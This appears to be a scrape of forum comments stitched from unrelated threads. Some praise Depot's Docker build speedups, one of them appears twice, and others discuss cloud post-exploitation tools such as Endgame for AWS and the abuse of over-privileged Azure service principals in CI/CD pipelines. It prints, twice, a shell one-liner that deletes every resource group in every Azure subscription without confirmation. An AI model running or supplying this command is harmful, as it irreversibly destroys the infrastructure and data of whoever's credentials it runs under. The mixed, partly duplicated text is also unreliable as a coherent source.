These guys do an insane amount of engineering to speed up builds and everyone follows. Love their blogs.
Zero chance I'd sign up for their competitors knowing how good the product is and that everyone else follows them. I don't know why Docker, JFrog, or GitHub don't just buy them already.
Depot is freaking awesome. Sped up two of our Docker image builds from 11 minutes to 1-1.5 minutes and the drop-in Docker build replacement in GitHub Actions was super easy. Can't imagine our CI/CD system without it.
Yes, you'd have to leverage compromised credentials. That could be obtained via SSRF, RCE on a privileged box, leakage of user access keys, or other means. In the context of a penetration test, it's more of a post-exploitation tool.
for sub in `az account list | jq -r '.[].id'`; do \
for rg in `az group list --subscription $sub | jq -r '.[].name'`; do \
az group delete --name ${rg} --subscription $sub --no-wait --yes; \
done; done;
>I did uncover a ridiculously destructive approach to abusing Azure Service Principals in CI/CD pipelines that deploy infrastructure in Azure (Confused Deputy problem):
> for sub in `az account list | jq -r '.[].id'`; do \ for rg in `az group list --subscription $sub | jq -r '.[].name'`; do \ az group delete --name ${rg} --subscription $sub --no-wait --yes; \ done; done;
The CI provider giving you an over-privileged SP to play with needs to fix that, sure. SPs start with zero role assignments, so it's particularly egregious that they gave it unnecessary permissions.
(Though, for the CI providers I'm familiar with, you the user would be the one creating the SP and providing it to the pipeline. So making it over-privileged would be your mistake.)
But it's not a Confused Deputy problem when you have a service principal with delete access to all resource groups in all subscription and tell it delete those resource groups. Confused Deputy involves a higher-privileged server forgetting to downgrade its privileges on behalf of a low-prvivilege client. The SP is the client in this case - it was created with high privileges in the first place.
Author here :) Endgame exploits/abuses features. If it was a bug, I'd work with AWS to solve the problem, but with abusing features - that would result in years of unsatisfied feature requests. This should push the issue along.
>...and it's not even a hacking tool!
It can be used to backdoor resources to rogue accounts, so I'd say it's a hacking tool and can/should be used on penetration tests. I'd certainly use it on a pentest :)
Salesforce also runs Heroku, which is one of the biggest AWS wrappers around. I'm really glad they're active in security auditing here, it's a real value add to customers of Heroku / Salesforce services to see evidence of their work to analyze security.
Not sure what the shock is with seeing security tools like this released, the vast majority of security tools are open source, how is this different to what we have been seeing the past 30 year?
Not to mention companies such as Google, Netflix and Mozilla all release security tools just like this.
Zero chance I'd sign up for their competitors knowing how good the product is and that everyone else follows them. I don't know why Docker, JFrog, or GitHub don't just buy them already.